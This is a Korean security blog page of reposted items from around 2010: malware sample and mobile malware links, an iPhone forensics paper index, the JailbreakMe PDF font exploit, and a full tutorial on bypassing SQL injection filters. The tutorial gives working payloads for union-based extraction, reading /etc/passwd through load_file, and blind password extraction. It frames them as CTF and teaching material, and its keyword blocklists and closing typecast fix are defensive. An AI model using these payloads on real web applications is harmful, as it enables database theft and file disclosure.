반응형


펌 : http://viaforensics.com/education/white-papers/iphone-forensics/


Independent Research and Reviews of iPhone Forensic Tools

This white paper is intended for forensic analysts, corporations and consumers who want to understand what personal information is stored on the iPhone and how to recover it. The research reveals the vast amount of personal information stored on Apple’s iPhone and reviews techniques and software for retrieving this information. For questions about our research or our services, please contact us.

Note: viaForensics is independent and is not compensated in any way by the makers of the software reviewed in this white paper.

  1. About this white paper
  2. iPhone Forensics Overview and Techniques
  3. Cellebrite UFED
  4. FTS iXAM
  5. Oxygen Forensic Suite 2010 PRO
  6. Micro Systemation XRY
  7. Lantern
  8. MacLock Pick
  9. Black Bag Technology Mobilyze
  10. Zdziarski Technique
  11. Paraben Device Seizure
  12. Mobile Sync Browser
  13. CellDEK
  14. EnCase Neutrino
  15. iPhone Analyzer
  16. Overall Rankings
  17. Report Conclusions



반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

pdf analy  (2) 2010.12.13
내가 쓰는 Firefox Add-On  (0) 2010.12.10
Links and resources for malware samples  (0) 2010.11.22
악성코드 유포지  (0) 2010.10.13
Google Groups - Mobile Malware  (0) 2010.08.26
반응형
Milla 사이트에 갔다가 얻어걸린 URL들..
쌩유..
니들은 내가 냠냠 해줄께..
나도 집에다가 악성코드 수집 서버나 한대 돌릴까.. =_=;;

그리고 이 글 하단부에 있던 악성코드 검색엔진..
구글에서는 커스터마이징해서 검색할 수 있겠금 해놨더군요..
신기한 구글신님..
그리고 그 구글신을 이용하여 만든 검색 엔진(?)
http://www.google.com/cse/home?cx=011750002002865445766:pc60zx1rliu


친절한 Milla 씨는 무슨일을 하기에 이런 지식들을 공유해주고 하는지.. 대략 궁금..

======================================================================================



Here are good resources, links, download locations for malware. Use caution.

This link is from Lenny Zeltser's Malware Sample Sources for Researchers. The original post is here

In addtion, there is a full list collected and published at kernelmode.info (many thanks to Evilcry, Jaxryley, markusg, EP_X0FF, Meriadoc, CloneRanger, Brookit and gigaz)  The original list is here
These links were kindly provided by Gunther (thank you)
  •  Malware Analysis Search Compiled by Alexander Hanel. It searches about 85 different AV, malware analysis and RE blogs (thank you) 



contagiodump.blogspot.com
반응형

반응형
Google Groups - Mobile Malware

모바일쪽에 관심이 있어서 보고 있는데
괜찮은것 같아서 이렇게 소개 합니다.

생긴지는 얼마 안되었으며..
제가 가입했을때는 50명 정도였는데.. 3일만에 2배에 해당되는 분들이 가입되어있네요.

현 모바일 악성코드에 대해서 요정도의 정보를 제공하는 곳은 없을꺼 같습니다.
한번 정도 둘러보세요.



http://groups.google.com/group/mobilemalware


반응형
반응형
http://webcache.googleusercontent.com/search?q=cache:1xPyu64K0vIJ:www.cyrket.com/search%3Fmarket%3Dandroid%26account%3Djackeey%252Cwallpaper+Jackeey+Wallpaper+download&cd=48&hl=ko&ct=clnk&gl=kr

상단 링크에 접속하시면 월페이퍼들이 나오나.. 현재 링크가 다 짤려있다.
이 제작자 말고도 2명의 제작자가 만든 월페이퍼가 피싱툴이라고 하니
주의하길 바랍니다.
반응형
반응형
해당 링크에서 퍼옴..
자료 보관용
http://digdog.tumblr.com/post/894317027/jailbreak-with-pdf-flatedecode-filter


Update

According to @chpwd, @comex uses CFF font stack overflow to jailbreak. (font file placed in FlateDecode stream)

If you look at the jailbreakme.com closely, it loads corresponding PDF file as image in javascript (through new Image()) to jailbreak the iOS devices.

Open the PDF file in the hex editor, you can easily find out what kind of PDF vulnerability they are using:

The jailbreak stuff saved as FlateDecode stream within that PDF file, and vulnerability occurs when Mobile Safari loaded the PDF file, letting iOS to parse the FlateDecode filter, and use the font file inside, then Kaboom.

What is FlateDecode?

According to the specification, PDF can embed raster images. They are represented by a dictionary that described the properties of the image, with an associated stream that contains image data. And those embedded images are filtered with different kinds of filters that supported in PDF, such as DCTDecode (lossy image-specific filter based on JPEG), ASCIIHexDecode (general purpose filter for ASCII stream), FlateDecode and many others.

The FlateDecode filter is a lostless general purpose filter for data compressed with zlib deflate function. You can compressed plaintext or any kinds of data with zlib and put it into FlateDecode section.

In today’s case, they put jailbreak stuff. If you decoded their FlateDecode steam, it looks like this:

If you wan to try it yourself, you can decompress the FlateDecode stream with ghostscript:

% gs — toolbin/pdfinflt.ps iPhone1,x_3.1.3.pdf output.txt

How the Vulnerability Works?

According to “Adobe Reader and Acrobat FlateDecode Integer Overflow Vulnerability”:

The vulnerability occurs when parsing a FlateDecode filter inside a PDF file. FlateDecode is a filter for data compressed with zlib deflate compression method. Several parameters can be specified for the FlateDecode filter. Those values are used in an arithmetic operation that calculates the number of bytes to allocate for a heap buffer. This calculation can overflow, which results in an undersized heap buffer being allocated. This buffer is then overflowed with data decompressed from the FlateDecode stream. This leads to a heap-based buffer overflow that can result in arbitrary code execution.

It’s a heap overflow. I don’t know if Apple fixed this on iOS or not, but it definitely looks like the cause.

Apparently my guess was totally wrong, it’s even deeper. Turns out it’s the font file embedded in FlateDecode stream that causes the stack overflow.

References

반응형
반응형
자료용으로 퍼온겁니다..
출처는 jumpzero님의 블로그..
http://jz.pe.kr/60
입니다.




gdbserver와 ida를 이용하면 elf binary를 ida로 디버깅할 수 있습니다.

편하겠죠.

gdbserver host:port file

ubuntu rocks!


port 5555로 해봤습니다. 서버 세팅 됐고 이제 ida로 접속해보죠.


windows에도 ls를 복사해놓았습니다. 사실 binary는 둘중 하나에만 있어도 되긴 하지만...



debugger 설정하고




그다음엔 process options



gdbserver machine의 ip address, port를 설정해줍니다.


그리고 실행하면...




file이 gdbserver, ida 양 쪽 다에 있어서 물어보는 겁니다. 


process started.



debugging이 되고 있습니다.



server showing message



반응형
반응형
나우콤..은 인터넷사업부과 보안사업부가 나뉘어있는 구조로 되어있다..
(일단 참고..)


어느날.. 출근해서 메일을 살펴보는 중.. 아래와 같은 긔엽긔놈이 보낸듯한 메일이 날 자극했다.

받는 사람 주소 목록은 우리회사의 메일들로 가득차있었고.. 웃기게도 메일앞에 cert라고 써있는데도 우리팀 메일로 굳이 보내주셨다. 그 외에 아프리카 메일계정이랑.. 몇몇 회사 계정들로 가득차있었다. (nowcom 회사 계정으로만 받는 사람이 되어있었음)

긔엽긔놈.. 보안회사 테스트하냐..?!
=_=;

그래도 나름 생각을 잘했는지.. 캡쳐사진을 보낸다고 했는데..
진짜로 압축을 푸니까 그림 아이콘으로 되어있는 파일이 나왔다!!
하지만 실제로는 PE구조로 이루어진 실행파일!!

내부에 그림파일이랑 또 다른 드롭퍼를 가지고 있는 놈이였고..
그 드롭퍼도 또 드롭퍼고..
에이.. 귀찮게 자꾸 왜 이러는거야!! 라고 말해주고 싶어졌다 =_=;

우리!!
양심적으로~
보안회사 테스트 하려고 하고 이런거..

기리지마요~  =ㅁ=;;


반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

JailBreakMe with PDF FlateDecode filter  (0) 2010.08.03
[펌]IDA + gdb with gdbserver  (2) 2010.07.09
Exploiting hard filtered SQL Injections  (5) 2010.05.30
iPhone encryption? Not really  (0) 2010.05.30
KT 플라자  (0) 2010.05.30
반응형
웹해킹을 공부해야되는데..

웹쪽은 관심이 없어서 거의 안봤는데..

요즘.. 제 한계(?)를 느끼고 이럴 바에는 폭넓게 가는게 맞다는 생각하에..

다분야로 보려고 웹쪽은 다시 공부하고 있습니다..

아.. 정말 웹은 힘듭니다 ^^;;



Exploiting hard filtered SQL Injections

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

01 <?php
02 // DB connection
03  
04 $id = $_GET['id'];
05 $pass = mysql_real_escape_string($_GET['pass']);
06  
07 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
08  
09 if($data = @mysql_fetch_array($result))
10     echo "Welcome ${data['name']}";
11 ?>

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup

Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

1 ?id=1 and 1=0-- -
1 ?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

1 ?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

1 ?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
1 ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

1 ?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

1 if(preg_match('/\s/', $id))
2     exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4     exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6     exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

1 ?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).

1 ?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:

1 ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

1 if(preg_match('/\s/', $id))
2     exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4     exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6     exit('attack'); // no slashes
7 if(preg_match('/(and|null|where|limit)/i', $id))
8     exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:

1 ?id=1#
1 ?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:

1 ?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
1 ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#

This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:

1 ?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:

1 ?id=(0)union(select(0),database(),(0))#

Lets assume your database name is “test” which hex representation is “0×74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:

1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:

1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:

1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:

1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#

advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|where|limit)/i', $id))
08     exit('attack'); // no sqli keywords
09 if(preg_match('/(union|select|from|having)/i', $id))
10     exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:

1 ?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or – if the file could not be read – a “1″ and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:

1 ?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|not)/i', $id))
08     exit('attack'); // no sqli boolean keywords
09 if(preg_match('/(union|select|from|where)/i', $id))
10     exit('attack'); // no sqli select keywords
11 if(preg_match('/(group|order|having|limit)/i', $id))
12     exit('attack'); //  no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
14     exit('attack'); // no sqli operators
15 if(preg_match('/(--|#|\/\*)/', $id))
16     exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ’1′%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

1 ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’:

1 ?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:

1 ?id=2&&mid(pass,1,1)=(0x61);%00
1 ?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

1 ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:

1 ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:

1 ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|not)/i', $id))
08     exit('attack'); // no sqli boolean keywords
09 if(preg_match('/(union|select|from|where)/i', $id))
10     exit('attack'); // no sqli select keywords
11 if(preg_match('/(group|order|having|limit)/i', $id))
12     exit('attack'); //  no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
14     exit('attack'); // no sqli operators
15 if(preg_match('/(--|#|\/\*)/', $id))
16     exit('attack'); // no sqli comments
17 if(preg_match('/(=|&|\|)/', $id))
18     exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:

1 ?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’:

1 ?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:

1 ?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

1 ?id=
2 if(
3   // if (it gets true if the name='admin')
4     if((name)like(0x61646D696E),1,0),
5   // then (if first password char='a' return admin id, else 0)
6     if(mid((password),1,1)like(0x61),id,0),
7   // else (return 0)
8     0
9 );%00

Injection in one line:

1 ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!

Conclusion

(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

1 $id = (int) $_GET['id'];
2 $pass = mysql_real_escape_string($_GET['pass']);
3 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.


반응형
반응형
소포스는 항상 재미 있는 이야기를 많이 한답니다 ^^

이것도 그 중 일부죠..

이 내용도 역시 탭정리하면서 블로그에 기록합니다...

iPhone encryption? Not really



iPhone 3GS data folder

Sean Richmond from our Sydney, Australia office sent me a note yesterday asking if I had been following a thread on the Full Disclosure mailing list.

The author of the message noted that when he plugged in his iPhone 3GS to a Ubuntu 10.4 (Lucid Lynx) workstation he was able to access some of the data without authenticating to the phone or OS.

I must admit my focus on Apple security waxes and wanes, so I did some research into the topic. I booted the live CD version of the latest Ubuntu on my test workstation and performed the steps described in the post. I got an identical result which I have to admit was a great surprise.

Not that I don't trust Apple, but they have been talking about how the iPhone is enterprise ready and secure ever since the launch of the 3GS.

On initial examination all that is required to access the "user content" areas of a fully encrypted iPhone is Ubuntu. No passcode required. Since we do encryption here at Sophos I was a bit startled by this as any proper encryption should have the keys protected by some sort of passphrase that is required in order to access the protected volume.

iPhone 3GS Photos

Many have pointed out that the most sensitive information is still unavailable like SMS history, email, address books, etc. After seeing the phone boot without the passcode though, I thought there may be more of a story to this.

If you use full disk encryption on your computer you will notice that it cannot boot until you have provided the passphrase.This is because the key that encrypts the volume is protected by your passphrase. If you turn on an iPhone it boots all the way up and allows access from USB.

If the device boots, it must be able to access the encryption key without a passphrase. In turn this means it is as good as unencrypted as soon as it is turned on.

I started digging some more and noticed some research done by Jonathan Zdziarski in July 2009. Jonathan shows how you can boot an altered kernel from RAM disk and gain access to the device.

He also has another video where he recovers all the data from a protected iPhone, all without altering the device in any way. He can recover all of your "keystrokes", email, phone calls, voicemails, deleted messages and voicemail. Everything on the device is available without the passphrase.

Encryption is not difficult to do, but the way you choose to implement it is. As demonstrated by Apple's implementation, a state of the art AES-256 encrypted device has no protection if keys are not handled appropriately.

At Sophos we strive to provide excellent security in the simplest manner possible. Like Apple we know users care about their security, but do not want it to get in the way. To implement security simply, but effectively is very difficult. Unfortunately for businesses or consumers who think their iPhones are secure, they are incorrect.

The good news is that it would appear Apple is taking more of a FileVault encryption approach for sensitive data in their new iPhone v4 software. On Apple's site for "iPhone in Business", they now have a statement implying they have changed their implementation to be more secure:

Data Protection
Security enhancements in iPhone OS 4 protect email messages and attachments stored on iPhone 3GS by using the device passcode as an encryption key. New data protection APIs can be used for custom and commercial apps so that business-critical information is protected even if a device is compromised.

It's good to see Apple taking this problem on, and providing APIs for third party developers to secure their stored data as well. In the mean time if you have a 3GS or use an iPhone that contains sensitive information, be sure to not let it out of your sight.





반응형

+ Recent posts